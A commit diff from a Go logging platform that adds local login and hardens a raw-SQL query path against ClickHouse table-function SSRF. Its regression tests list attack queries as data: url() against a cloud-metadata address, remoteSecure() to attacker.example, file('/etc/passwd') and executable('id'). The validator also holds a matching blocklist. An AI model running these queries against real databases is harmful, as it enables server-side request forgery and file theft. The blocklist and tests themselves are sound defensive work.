Add local login, agent extra log paths, IPv4/IPv6 metrics; remediate security audit findings
This is a large squashed commit covering two batches of prior uncommitted work plus a full security-audit remediation pass, kept together because go.mod/go.sum and several shared files (main.go, handler.go) were touched by both and splitting risked non-building intermediate commits. Features (built earlier, previously uncommitted): - Local username/password login for single-tenant deployments with no SSO configured (api/localauth, alerting/internal/sessioncheck, sentryctl users, web/src/routes/login, metadata migrations 0040/0041). - Remotely-editable additional log file paths for agents, on top of their existing primary source (api/agents, agent/sentry-agent extra-file-path diffing, web agent config UI). - IPv4/IPv6 addresses reported alongside other host system metrics. Security audit remediation (this pass, all live-verified in production): - Critical: block ClickHouse SSRF table functions (url/remote/file/s3/...) in the raw-SQL query escape hatch. - High: deny sensitive paths and require Admin to add agent extra_file_paths (Editor could previously point an agent at /etc/shadow or an SSH key); alerting webhook targets now validate against internal/metadata/loopback addresses, both at creation and send time; alerting's session middleware now enforces an Editor+ floor on mutating requests instead of "any authenticated session"; bumped goxmldsig to close a SAML signature-verification bypass (GO-2026-4753). - Medium: per-IP login rate limiting; security response headers (HSTS/CSP/nosniff/X-Frame-Options/Referrer-Policy/Permissions-Policy) on web/nginx.conf; a DevCredentialWarnings check in every Go service's config loader, logging loudly at startup if a deployment is still on docker-compose.yml's literal dev-only credentials; dependency bumps (golang.org/x/text, grpc, x/net, quick-xml, h2) across every affected Go module and both Rust crates, including a previously-uncovered x/net vulnerability in deploy/operator; a new security-scan.yml CI workflow running cargo-deny/govulncheck/npm-audit, mirroring the existing license-compliance.yml matrix shape. - Low: removed sentryctl's plaintext --password flag (shell history/`ps` exposure) in favor of stdin and a --password-stdin flag for reset-password's optional specific-password path; a dummy bcrypt comparison closes a login response-time username-enumeration side-channel.
This commit is contained in:
@@ -18,6 +18,32 @@ type Config struct {
|
||||
CORSAllowedOrigin string
|
||||
EnterpriseAuthURL string
|
||||
AI AIConfig
|
||||
LocalAuth LocalAuthConfig
|
||||
}
|
||||
|
||||
// LocalAuthConfig gates single-tenant mode's local username/password
|
||||
// login (see api/localauth) -- off unless Enabled, same "off unless
|
||||
// configured" convention as EnterpriseAuthURL/AI.OllamaBaseURL. Only
|
||||
// meaningful when EnterpriseAuthURL is empty -- a deployment with real
|
||||
// SSO configured has no use for a second, local auth mechanism, and
|
||||
// main.go's authorizer selection treats EnterpriseAuthURL as taking
|
||||
// priority if both were somehow set.
|
||||
type LocalAuthConfig struct {
|
||||
Enabled bool
|
||||
// SessionTTL is deliberately long (30 days default) compared to
|
||||
// enterprise/'s session TTL -- there's no SSO round-trip here to
|
||||
// silently refresh a session against, so a short TTL would just mean
|
||||
// re-entering a password often on a self-hosted single-operator tool.
|
||||
SessionTTL time.Duration
|
||||
// CookieDomain empty means a host-only cookie (fine for local dev,
|
||||
// where web/api are both localhost:<port>). Set to e.g.
|
||||
// ".sentry.example.com" in production so the cookie is also sent to
|
||||
// api.sentry.example.com/alerting.sentry.example.com.
|
||||
CookieDomain string
|
||||
// CookieSecure defaults true (never sent over plain HTTP) --
|
||||
// deliberately opt-out via LOCAL_AUTH_COOKIE_SECURE=false, only
|
||||
// useful to test the login flow locally over http://localhost.
|
||||
CookieSecure bool
|
||||
}
|
||||
|
||||
// AIConfig gates Phase 7's AI-assisted query features (Track A/B) --
|
||||
@@ -50,6 +76,33 @@ type PostgresConfig struct {
|
||||
Password string
|
||||
}
|
||||
|
||||
// devOnlyCredential is docker-compose.yml's zero-config default for
|
||||
// every Postgres/ClickHouse password in this repo -- genuinely fine for
|
||||
// local dev (that's the whole point of a zero-config default), but a
|
||||
// real deployment that skips docker-compose.override.yml would
|
||||
// otherwise go live with a password anyone can read straight off
|
||||
// GitHub. See DevCredentialWarnings.
|
||||
const devOnlyCredential = "sentry-dev-only"
|
||||
|
||||
// DevCredentialWarnings reports which configured credentials still
|
||||
// equal docker-compose.yml's literal dev-only default -- cmd/api/main.go
|
||||
// logs each one loudly at startup. Deliberately a warning, not a
|
||||
// startup-refusing error: local dev's documented zero-config path is
|
||||
// exactly "run docker-compose.yml with no override," which legitimately
|
||||
// leaves every password at this literal value, so hard-failing here
|
||||
// would break that path rather than only catching real deployments that
|
||||
// forgot to override it.
|
||||
func (c Config) DevCredentialWarnings() []string {
|
||||
var warnings []string
|
||||
if c.ClickHouse.Password == devOnlyCredential {
|
||||
warnings = append(warnings, "CLICKHOUSE_PASSWORD is still the default dev-only value -- set a real password via docker-compose.override.yml (or your deployment's equivalent) before this is reachable outside local dev")
|
||||
}
|
||||
if c.Postgres.Password == devOnlyCredential {
|
||||
warnings = append(warnings, "POSTGRES_PASSWORD is still the default dev-only value -- set a real password via docker-compose.override.yml (or your deployment's equivalent) before this is reachable outside local dev")
|
||||
}
|
||||
return warnings
|
||||
}
|
||||
|
||||
func Load() (Config, error) {
|
||||
cfg := Config{
|
||||
HTTPListenAddr: getenv("HTTP_LISTEN_ADDR", ":8080"),
|
||||
@@ -98,6 +151,25 @@ func Load() (Config, error) {
|
||||
}
|
||||
cfg.QueryTimeout = time.Duration(timeoutSec) * time.Second
|
||||
|
||||
localAuthEnabled, err := strconv.ParseBool(getenv("LOCAL_AUTH_ENABLED", "false"))
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("LOCAL_AUTH_ENABLED: %w", err)
|
||||
}
|
||||
sessionTTLHours, err := strconv.Atoi(getenv("LOCAL_SESSION_TTL_HOURS", "720")) // 30 days
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("LOCAL_SESSION_TTL_HOURS: %w", err)
|
||||
}
|
||||
cookieSecure, err := strconv.ParseBool(getenv("LOCAL_AUTH_COOKIE_SECURE", "true"))
|
||||
if err != nil {
|
||||
return Config{}, fmt.Errorf("LOCAL_AUTH_COOKIE_SECURE: %w", err)
|
||||
}
|
||||
cfg.LocalAuth = LocalAuthConfig{
|
||||
Enabled: localAuthEnabled,
|
||||
SessionTTL: time.Duration(sessionTTLHours) * time.Hour,
|
||||
CookieDomain: getenv("SESSION_COOKIE_DOMAIN", ""),
|
||||
CookieSecure: cookieSecure,
|
||||
}
|
||||
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -30,3 +30,23 @@ func TestLoadInvalidTimeoutErrors(t *testing.T) {
|
||||
t.Fatal("expected error for non-numeric QUERY_TIMEOUT_SECONDS, got nil")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDevCredentialWarnings is the regression test for the
|
||||
// security-audit finding that docker-compose.yml's hardcoded
|
||||
// "sentry-dev-only" password has no runtime fail-safe if an operator
|
||||
// forgets to override it for a real deployment.
|
||||
func TestDevCredentialWarnings(t *testing.T) {
|
||||
if got := (Config{}).DevCredentialWarnings(); len(got) != 0 {
|
||||
t.Errorf("empty passwords: warnings = %v, want none", got)
|
||||
}
|
||||
|
||||
real := Config{ClickHouse: ClickHouseConfig{Password: "a-real-password"}, Postgres: PostgresConfig{Password: "another-real-one"}}
|
||||
if got := real.DevCredentialWarnings(); len(got) != 0 {
|
||||
t.Errorf("real passwords: warnings = %v, want none", got)
|
||||
}
|
||||
|
||||
devOnly := Config{ClickHouse: ClickHouseConfig{Password: devOnlyCredential}, Postgres: PostgresConfig{Password: devOnlyCredential}}
|
||||
if got := devOnly.DevCredentialWarnings(); len(got) != 2 {
|
||||
t.Errorf("both dev-default passwords: warnings = %v, want 2 entries", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -259,6 +259,24 @@ func defaultAggAlias(a ast.AggCall) string {
|
||||
// SQL parser -- same tradeoffs as the Phase 0/1 version this replaces.
|
||||
var disallowedKeyword = regexp.MustCompile(`(?i)\b(insert|update|delete|alter|drop|truncate|create|grant|revoke|attach|detach|rename|kill|optimize|system|set|exchange|watch)\b`)
|
||||
|
||||
// disallowedTableFunction blocks ClickHouse's built-in table functions
|
||||
// that reach outside ClickHouse itself -- a keyword blocklist for
|
||||
// mutating statements (above) doesn't touch these at all, since
|
||||
// `SELECT * FROM url(...)` is a perfectly ordinary read-only SELECT as
|
||||
// far as validateSelectOnly's other checks are concerned. Every
|
||||
// function here lets a SELECT-only, RoleViewer-gated query make
|
||||
// ClickHouse itself issue an outbound request or read a local file on
|
||||
// the caller's behalf -- cloud-metadata SSRF via url(), a proxy into
|
||||
// other internal ClickHouse/MySQL/Postgres instances via
|
||||
// remote()/remoteSecure()/mysql()/postgresql(), and local/object-storage
|
||||
// file reads via file()/hdfs()/s3()/azureBlobStorage()/deltaLake()/
|
||||
// iceberg()/hudi(). Same word-boundary-regex tradeoff as
|
||||
// disallowedKeyword above: this is a blocklist, not a real SQL parser,
|
||||
// so it can't be the only control -- see the ClickHouse-grant-level
|
||||
// hardening this should be paired with (table-function usage revoked
|
||||
// for the role api's raw-SQL path connects as).
|
||||
var disallowedTableFunction = regexp.MustCompile(`(?i)\b(url|remote|remoteSecure|mysql|postgresql|s3|s3Cluster|hdfs|hdfsCluster|file|odbc|jdbc|executable|cluster|clusterAllReplicas|azureBlobStorage|deltaLake|iceberg|hudi|redis|mongodb)\s*\(`)
|
||||
|
||||
func validateSelectOnly(sql string) error {
|
||||
trimmed := strings.TrimSpace(sql)
|
||||
if trimmed == "" {
|
||||
@@ -281,6 +299,9 @@ func validateSelectOnly(sql string) error {
|
||||
if disallowedKeyword.MatchString(trimmed) {
|
||||
return fmt.Errorf("query contains a disallowed keyword")
|
||||
}
|
||||
if disallowedTableFunction.MatchString(trimmed) {
|
||||
return fmt.Errorf("query contains a disallowed table function")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -40,6 +40,48 @@ func TestCompileRejectsNonSelectSQLKeyword(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestCompileRejectsSSRFTableFunctions guards against a real finding: a
|
||||
// SELECT-only, keyword-blocklist check alone doesn't stop ClickHouse's
|
||||
// built-in table functions, which let an otherwise-ordinary read-only
|
||||
// SELECT make ClickHouse itself issue an outbound request (url,
|
||||
// remote/remoteSecure, mysql, postgresql, s3, hdfs, ...) or read a local
|
||||
// file (file) on the caller's behalf -- an SSRF/file-read primitive
|
||||
// reachable by RoleViewer, the platform's lowest role.
|
||||
func TestCompileRejectsSSRFTableFunctions(t *testing.T) {
|
||||
queries := []string{
|
||||
`SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'LineAsString', 's String')`,
|
||||
`select * from remote('internal-host:9000', system, tables)`,
|
||||
`SELECT * FROM remoteSecure('attacker.example:9440', db, tbl, 'user', 'pass')`,
|
||||
`select * from mysql('host:3306', 'db', 'table', 'user', 'pass')`,
|
||||
`SELECT * FROM postgresql('host:5432', 'db', 'table', 'user', 'pass')`,
|
||||
`select * from s3('https://bucket.s3.amazonaws.com/key', 'CSV')`,
|
||||
`SELECT * FROM hdfs('hdfs://host:9000/path', 'CSV')`,
|
||||
`select * from file('/etc/passwd', 'LineAsString')`,
|
||||
`SELECT * FROM odbc('DSN=foo', 'db', 'table')`,
|
||||
`select * from executable('id', 'TSV', 'x String')`,
|
||||
`SELECT * FROM cluster('some_cluster', system, tables)`,
|
||||
}
|
||||
for _, q := range queries {
|
||||
if _, err := Compile(q, SQL, fixedNow); err == nil {
|
||||
t.Errorf("expected Compile(%q) to reject a table-function SSRF vector, got no error", q)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestCompileAllowsOrdinaryColumnNamesResemblingTableFunctions makes
|
||||
// sure the table-function blocklist only fires on actual function-call
|
||||
// syntax (name immediately followed by "(") and not merely a column or
|
||||
// identifier that happens to share a name with a blocked function.
|
||||
func TestCompileAllowsOrdinaryColumnNamesResemblingTableFunctions(t *testing.T) {
|
||||
plan, err := Compile(`SELECT cluster_id, file_name FROM logs WHERE cluster_id = 1`, SQL, fixedNow)
|
||||
if err != nil {
|
||||
t.Fatalf("Compile() error = %v", err)
|
||||
}
|
||||
if plan.RawSQL == "" {
|
||||
t.Fatal("expected RawSQL to be set")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileExplicitLanguageOverridesAutoDetect(t *testing.T) {
|
||||
// "select" as a bare free-text search term -- would be misdetected
|
||||
// as SQL by the heuristic alone, hence the override.
|
||||
|
||||
Reference in New Issue
Block a user